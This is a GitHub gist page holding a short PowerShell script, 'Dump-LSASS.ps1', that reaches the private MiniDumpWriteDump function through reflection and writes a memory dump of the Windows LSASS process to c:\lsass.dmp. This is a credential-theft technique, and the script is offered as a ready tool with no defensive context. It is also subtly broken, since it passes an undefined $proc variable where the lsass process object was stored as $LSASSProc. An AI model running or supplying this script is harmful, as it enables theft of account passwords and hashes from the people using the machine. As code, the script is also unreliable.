Skip to content

Instantly share code, notes, and snippets.

@T0w3ntum

T0w3ntum/Dump-LSASS.ps1

Forked from natesubra/Dump-LSASS.ps1
Created March 20, 2017 00:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save T0w3ntum/7173566b0531052e24b5f54550dfcfef to your computer and use it in GitHub Desktop.
Save T0w3ntum/7173566b0531052e24b5f54550dfcfef to your computer and use it in GitHub Desktop.
Download ZIP
LSASS minidump
Raw
Dump-LSASS.ps1
$LSASSProc = Get-Process lsass
$FileStream = New-Object IO.FileStream('c:\lsass.dmp', [IO.FileMode]::Create)
$Result = ((([PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')).GetNestedType('NativeMethods', 'NonPublic')).GetMethod('MiniDumpWriteDump', ([Reflection.BindingFlags] 'NonPublic, Static'))).Invoke($null,@($proc.Handle,$proc.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$FileStream.Close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment